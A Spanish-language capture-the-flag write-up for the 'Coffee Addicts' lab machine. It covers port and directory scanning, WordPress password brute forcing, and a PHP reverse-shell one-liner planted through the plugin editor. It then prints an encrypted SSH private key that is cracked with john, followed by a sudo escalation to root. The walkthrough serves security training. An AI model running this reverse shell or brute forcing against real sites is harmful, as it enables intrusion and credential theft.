Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 04:16 EDT
Nmap scan report for 192.168.5.140
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 fc:13:6a:6b:9b:e3:68:18:24:a1:de:2b:28:1e:61:5f (RSA)
|   256 c1:34:94:94:71:71:9c:6e:83:a6:be:c9:2a:1b:3f:d7 (ECDSA)
|_  256 9a:cc:ce:ce:b8:2f:08:bb:2b:99:b6:25:3f:ec:44:61 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:5A:CB:14 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.31 ms 192.168.5.140

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.95 seconds
```

Puerto 80

Si nos conectamos al puerto 80 nos pondra que en el archivo `hosts` lo editemos y añadamos el siguiente `dominio`....

```
sudo nano /etc/hosts

#Archivo hosts
<IP>           coffeeaddicts.thm
```

Una vez hecho esto nos podremos meter en la pagina web mediante este dominio...

```
URL = http://coffeeaddicts.thm/
```

Ha simple vista en la pagina veremos un codigo de color gris codificado en `Base64` o en el codigo fuente se vera mejor...

```
VEhNe2ltX3RoZV9saXphcmRfa2luZ30gaHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ
1hjUQ==
```

Decodificado:

```
THM{im_the_lizard_king} https://www.youtube.com/watch?v=dQw4w9WgXcQ
```

Con esto tendremos una "flag"...

Gobuster

```
gobuster dir -u http://coffeeaddicts.thm/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://coffeeaddicts.thm/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 282]
/.htaccess.php        (Status: 403) [Size: 282]
/.htaccess.txt        (Status: 403) [Size: 282]
/.htpasswd            (Status: 403) [Size: 282]
/.htpasswd.txt        (Status: 403) [Size: 282]
/.htpasswd.html       (Status: 403) [Size: 282]
/.htpasswd.php        (Status: 403) [Size: 282]
/.htaccess            (Status: 403) [Size: 282]
/index.html           (Status: 200) [Size: 735]
/server-status        (Status: 403) [Size: 282]
/wordpress            (Status: 200) [Size: 11249]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Aqui por lo que podremos ver nos aparece un `wordpress` por lo que haremos lo siguiente...

```
wpscan --url http://coffeeaddicts.thm/wordpress/ --enumerate u
```

Info:

```

```

```
    __          _______   _____
    \ \        / /  __ \ / ____|
     \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
      \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
```

```
       \  /\  /  | |     ____) | (__| (_| | | | |
        \/  \/   |_|    |_____/ \___|\__,_|_| |_|

    WordPress Security Scanner by the WPScan Team
                   Version 3.8.25
  Sponsored by Automattic - https://automattic.com/
  @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

---

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://coffeeaddicts.thm/wordpress/ [192.168.5.140]
[+] Started: Sat May 25 04:31:59 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://coffeeaddicts.thm/wordpress/xmlrpc.php
| Found By: Link Tag (Passive Detection)
| Confidence: 100%
| Confirmed By: Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://coffeeaddicts.thm/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://coffeeaddicts.thm/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://coffeeaddicts.thm/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.7.1 identified (Insecure, released on 2021-04-15).
| Found By: Rss Generator (Passive Detection)

| - http://coffeeaddicts.thm/wordpress/?feed=rss2, <generator>https://wordpress.org/?v=5.7.1</generator>
| - http://coffeeaddicts.thm/wordpress/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.7.1</generator>

[+] WordPress theme in use: coffee-time
| Location: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/
| Latest Version: 2.1.8 (up to date)
| Last Updated: 2019-07-25T00:00:00.000Z
| Readme: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/readme.txt
| Style URL: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/style.css?ver=5.7.1
| Style Name: Coffee Time
| Style URI: https://strabelli.com/roberto/temaswordpress/
| Description: Coffee Time is a minimalist, soft, smooth and responsive WordPress theme with device-agnostic layout...
| Author: Roberto Strabelli
| Author URI: https://roberto.strabelli.com
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.1.8 (80% confidence)
| Found By: Style (Passive Detection)
| - http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/style.css?ver=5.7.1, Match: 'Version: 2.1.8'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==========> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] gus
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat May 25 04:32:01 2024
[+] Requests Done: 62
[+] Cached Requests: 6
[+] Data Sent: 16.07 KB
[+] Data Received: 12.981 MB
[+] Memory used: 191.031 MB
[+] Elapsed time: 00:00:02

```
Aqui nos descubre un ``user`` por lo que haremos lo siguiente...
```

User = gus

```
Para poder sacar la contraseña vemos que hay 2 comentarios refiriendose a que hay una contraseña publicada en el blog por ahi, por lo que sacaremos todas las palabras posibles de ese ``post`` y las volcaremos a un ``.txt`` para utilizarlo como diccionario de fuera bruta...
```

#Diccionario.txt
Maybeuwur
whatcouldgowrong
whatcouldgowronguwur
uwur
gusuwur
LilPeepandcoffeeuwur
perfectcombinationuwur
yesterdaywemade
servedcoffeehalfprice
karaokesession
gusineedyouback

```
```shell
wpscan --url http://coffeeaddicts.thm/wordpress/ --usernames gus --passwords <WORDLIST>
```

Info:

```
```

```
    __          _______   _____
    \ \        / /  __ \ / ____|
     \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
      \ \/  \/ / |  ___/ ___ \ / __|/ _` | '_ \
       \  /\  /  | |     ____) | (__| (_| | | | |
        \/  \/   |_|    |_____/ ___|__,_|_| |_|

    WordPress Security Scanner by the WPScan Team
                   Version 3.8.25
  Sponsored by Automattic - https://automattic.com/
  @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

[+] URL: http://coffeeaddicts.thm/wordpress/ [192.168.5.140]
[+] Started: Sat May 25 04:43:36 2024

Interesting Finding(s):
```

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://coffeeaddicts.thm/wordpress/xmlrpc.php
| Found By: Link Tag (Passive Detection)
| Confidence: 100%
| Confirmed By: Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://coffeeaddicts.thm/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://coffeeaddicts.thm/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://coffeeaddicts.thm/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.7.1 identified (Insecure, released on 2021-04-15).
| Found By: Rss Generator (Passive Detection)
| - http://coffeeaddicts.thm/wordpress/?feed=rss2,
<generator>https://wordpress.org/?v=5.7.1</generator>
| - http://coffeeaddicts.thm/wordpress/?feed=comments-rss2,
<generator>https://wordpress.org/?v=5.7.1</generator>

[+] WordPress theme in use: coffee-time
| Location: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/
| Latest Version: 2.1.8 (up to date)
| Last Updated: 2019-07-25T00:00:00.000Z
| Readme: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/readme.txt
| Style URL: http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/style.css?ver=5.7.1
| Style Name: Coffee Time
| Style URI: https://strabelli.com/roberto/temaswordpress/
| Description: Coffee Time is a minimalist, soft, smooth and responsive WordPress theme with device-agnostic layout...
| Author: Roberto Strabelli
| Author URI: https://roberto.strabelli.com

|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.1.8 (80% confidence)
| Found By: Style (Passive Detection)
| - http://coffeeaddicts.thm/wordpress/wp-content/themes/coffee-time/style.css?ver=5.7.1, Match: 'Version: 2.1.8'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00
<==> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
Trying gus / gusineedyouback Time: 00:00:00
<==> (11 / 11) 100.00% Time: 00:00:00
Trying gus / gusineedyouback Time: 00:00:00 <====================================
> (11 / 22) 50.00% ETA: ??:??:??
[SUCCESS] - gus / gusineedyouback

[!] Valid Combinations Found:
| Username: gus, Password: gusineedyouback

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat May 25 04:43:41 2024
[+] Requests Done: 181
[+] Cached Requests: 7
[+] Data Sent: 54.105 KB
[+] Data Received: 145.321 KB
[+] Memory used: 252.254 MB
[+] Elapsed time: 00:00:04

```
Vemos que nos saca un usuario y contraseña...
```

User = gus
Password = gusineedyouback

```
Por lo que nos metemos en el panel de ``admin`` para loguearnos como este usuario y poder hacernos una reverse shell...
```

URL = http://coffeeaddicts.thm/wordpress/wp-admin/

```
Una vez dentro del panel de ``admin``, nos dirigimos a la seccion de ``plugins`` de
ahi nos vamos a ``Plugins Editor`` y de ahi seleccionamos alguna plantilla que este
en ``.php`` para poder inyectar ahi la ``reverse shell`` en mi caso eleji el plugin
llamado ``akisme-key`` una vez inyectado ese codigo le damos a ``activar`` el plugin
y estando a la escucha deberia de hacernos una ``shell``...

```php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock,
2=>$sock),$pipes);

nc -lvnp <PORT>
```

La sanitizamos...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si nos vamos a la `/home/` de `gus` encontraremos la flag...

user.txt (flag1)

```
THM{s4v3_y0uR_Cr3d5_b0i}
```

Si nos vamos a la `/home/` de `badbyte` encontramos la carpeta `.ssh/` y dentro esta el `id_rsa` privado de ese usuario el cual podemos leer...

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,62A318CC0E383648054CF4A211B5BC73

PaK8I9lUsr6gpOoNyTBkcg9NezPIKDfw8uuHWzUFOqtV8hkhgnx/8b9yjD5UQ2rX
nvOcdyVzhfpr293+48mmC1IHq3vMV3db9kqeIJ4LjG7A3yqjD6yw4Gy1NzibWrYT
BLB0MZc5c7st/JPth3cdEwAfIy9d2zm/2NP7cWdBJxBU7eC6jVZClO8nPYVT4rx0
UOPmZfOJfPsK/uaxhP15mMDxi/TiJN6jZ6GB8rbPsagGUT/gGD+iAHiuc+A5M5ko
fSG3+qLs4146Db+DNMRSsx8Lwc+ilGYrbcnWVBZjA5pbKO3YyDkxIY7JealJk4xK
MLL6ZdqW7t0k0R8nKr7YW0Ij2LGAvNeVD7S14p4ebKtTTMFn6iq+zCVeu6zFOWjO
gwgJOkKq9P9+gvl4YxCNUFpugukFgr6FqklsQhCtGNmi+9+riu8Q2ioyCv45xXcw
Sw06OlldsUK7rVMIJZuPVESY8aTmSv59vR7PZUXLHp2RN9z676/eak3y5zqwXkVY
oR4Fbd569n5NRmV8GbPruT0BJcy0A+/hZVxulziLqP1CIR9RkOfH0uvoO/6TD77p
D61nqaci6sVSycuGIymINAi2BoVtWKwgwh+hCXQojRDfIRmuZlZs0nrek4hfp9E3
zA4vcWBVnBs+Xye1lNoLnxvd1rs9AJkpZ10SfJxC1euGhl0yiZ+8y64CGpT6q9Ta
5iWg/wA46yQq5jRLi2FwVzL3lKZgE59OreE0G96tpJZxfN4kisOj0koTxmJXLM4O
eTZSNLN9hJaKx7qGH9Si6wppFKuR43WYwteh7f8htG6u3ODpRE2UiRlwgLVydEyO
PZleAPQuL3SFoifTfKNVwskOT9STQHVa76D+txBK3qfRvpPPezA4PIsnOWbPFi9w
shkWYH358DJkxY8+akqBWC7rtuiCIvEWsFMa/ulkY+9bzDW7pqb3+hA3xtF9VMnC
I1XqaIYzG7+l3uuT1LJtQcdm4DwllKhr2pxApAvmHt7YiZahxNZtK+qYJeloyU3f
```
```

```
YvVq+ITRMl9RXcXR+JZi7plJ5KiVirxZFrMtvoTX+O5BTqdQgED13SzbVZTulLrV
cIwm+gLsse8l0f/q5KbnuNlz5+3/YZoTfPePLGqAtqNP5k/5cRuRV5u6U8xUX29K
k/XOQ/ecKTXKOveLfJl29mcOxUefgxVggZhir2/ewrUgfMsAa+i3hDH1NIkMVXCx
iBzrj+YQCdFg1OpvWhXJ1eEH1Qq9y6kwS+chFf16Bh24ZrmgGSd25zfugWxPyZOM
t+Bv1kOpjdP/JgqkSBA6pvrH4d4ZqJR/Yrnoiky55PoZGmntJqcUdeyNNwdgIyMv
AOMJWH6lLqMN8xPPuPi78ypE5E9oJ/axNlq9v30/JeYhWcTb/l51CSGvwD8hThqK
AW9HxmeJhjJv3RqlhB2nIPZhitQ9wb+cduz0MGZ+yA26AQQhGdpHusEPktu3jwN+
RhjxPcPxNIaijkCTT4x5ZqkRSq3PRQwJ3O7ARKoXoLTScB8KSUhicmstC20ixRGx
svjCWYbFufc6ITOzNCCeM9gUS+WsPs5aJ+nfx5bj+ijSNSUH4UKpPFniHsVY2W8E
-----END RSA PRIVATE KEY-----
```

A parte que por lo que se puede observar tiene una contraseña configurada, por lo que haremos lo siguiente...

Nos copiamos ese `id_rsa` privado y nos lo pasamos a nuestro `host`, vamos a sacar una contraseña cifrada de la siguiente forma...

```
ssh2john id_rsa > clave
```

Info:

```
id_rsa:$sshng$1$16$62A318CC0E383648054CF4A211B5BC73$1200$3da2bc23d954b2bea0a4ea0dc930
64720f4d7b33c82837f0f2eb875b35053aab55f21921827c7ff1bf728c3e54436ad79ef39c77257385fa6
bdbddfee3c9a60b5207ab7bcc57775bf64a9e209e0b8c6ec0df2aa30facb0e06cb537389b5ab61304b074
31973973bb2dfc93ed87771d13001f232f5ddb39bfd8d3fb716741271054ede0ba8d564294ef273d8553e
2bc7450e3e665f3897cfb0afee6b184fd7998c0f18bf4e224dea367a181f2b6cfb1a806513fe0183fa200
78ae73e0393399287d21b7faa2ece35e3a0dbf8334c452b31f0bc1cfa294662b6dc9d6541663039a5b28e
dd8c83931218ec979a949938c4a30b2fa65da96eedd24d11f272abed85b4223d8b180bcd7950fb4b5e29e
1e6cab534cc167ea2abecc255ebbacc53968ce8308093a42aaf4ff7e82f97863108d505a6e82e90582be8
5aa496c4210ad18d9a2fbdfab8aef10da2a320afe39c577304b0d3a3a595db142bbad5308259b8f544498
f1a4e64afe7dbd1ecf6545cb1e9d9137dcfaefafde6a4df2e73ab05e4558a11e056dde7af67e4d46657c1
9b3ebb93d0125ccb403efe1655c6e97388ba8fd42211f5190e7c7d2ebe83bfe930fbee90fad67a9a722ea
c552c9cb862329883408b606856d58ac20c21fa10974288d10df2119ae66566cd27ade93885fa7d137cc0
e2f7160559c1b3e5f27b594da0b9f1bddd6bb3d009929675d127c9c42d5eb86865d32899fbccbae021a94
faabd4dae625a0ff0038eb242ae6344b8b61705732f794a660139f4eade1341bdeada496717cde248ac3a
3d24a13c662572cce0e79365234b37d84968ac7ba861fd4a2eb0a6914ab91e37598c2d7a1edff21b46eae
dce0e9444d9489197080b572744c8e3d995e00f42e2f7485a227d37ca355c2c90e4fd49340755aefa0feb
7104adea7d1be93cf7b30383c8b273966cf162f70b21916607df9f03264c58f3e6a4a81582eebb6e88222
f116b0531afee96463ef5bcc35bba6a6f7fa1037c6d17d54c9c22355ea6886331bbfa5deeb93d4b26d41c
766e03c2594a86bda9c40a40be61eded88996a1c4d66d2bea9825e968c94ddf62f56af884d1325f515dc5
d1f89662ee9949e4a8958abc5916b32dbe84d7f8ee414ea7508040f5dd2cdb5594ee94bad5708c26fa02e
cb1ef25d1ffeae4a6e7b8d973e7edff619a137cf78f2c6a80b6a34fe64ff9711b91579bba53cc545f6f4a
93f5ce43f79c2935ca3af78b7c9976f6670ec5479f831560819862af6fdec2b5207ccb006be8b78431f53
4890c5570b1881ceb8fe61009d160d4ea6f5a15c9d5e107d50abdcba9304be72115fd7a061db866b9a019
2776e737ee816c4fc9938cb7e06fd643a98dd3ff260aa448103aa6fac7e1de19a8947f62b9e88a4cb9e4f
a191a69ed26a71475ec8d37076023232f00e309587ea52ea30df313cfb8f8bbf32a44e44f6827f6b1365a
bdbf7d3f25e62159c4dbfe5e750921afc03f214e1a8a016f47c6678986326fdd1aa5841da720f6618ad43
dc1bf9c76ecf430667ec80dba01042119da47bac10f92dbb78f037e4618f13dc3f13486a28e40934f8c79
66a9114aadcf450c09dceec044aa17a0b4d2701f0a494862726b2d0b6d22c511b1b2f8c25986c5b9f73a2
133b334209e33d8144be5ac3ece5a27e9dfc796e3fa28d2352507e142a93c59e21ec558d96f04
```

Una vez sacado esto, lo vamos a crackear...

```
john clave
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password         (id_rsa)
1g 0:00:00:00 DONE 2/3 (2024-05-25 05:05) 33.33g/s 402066p/s 402066c/s 402066C/s
123456..maggie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Nos sacara una contraseña, por lo que esa `password` sera del usuario `badbyte`, nos vamos dentro de la maquina con la `shell` de nuestro `user gus` y hacemos lo siguiente...

```
su badbyte
```

Y metemos la contraseña que sacamos.... `password`

Una vez hecho esto ya seriamos ese usuario, si hacemos `sudo -l` con este usuario veremos lo siguiente...

```
Matching Defaults entries for badbyte on CoffeeAdicts:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User badbyte may run the following commands on CoffeeAdicts:
    (root) /opt/BadByte/shell
```

Vemos que hay un archivo `shell` que podemos ejecutar como `root`, vemos que este archivo parece un binario...

```
sudo /opt/BadByte/shell
```

Si lo ejecutamos seriamos `root` por lo que leemos la ultima flag...

```
/bin/bash

cd /root/
```

root.txt (flag2)

```
THM{im_the_shell_master}
```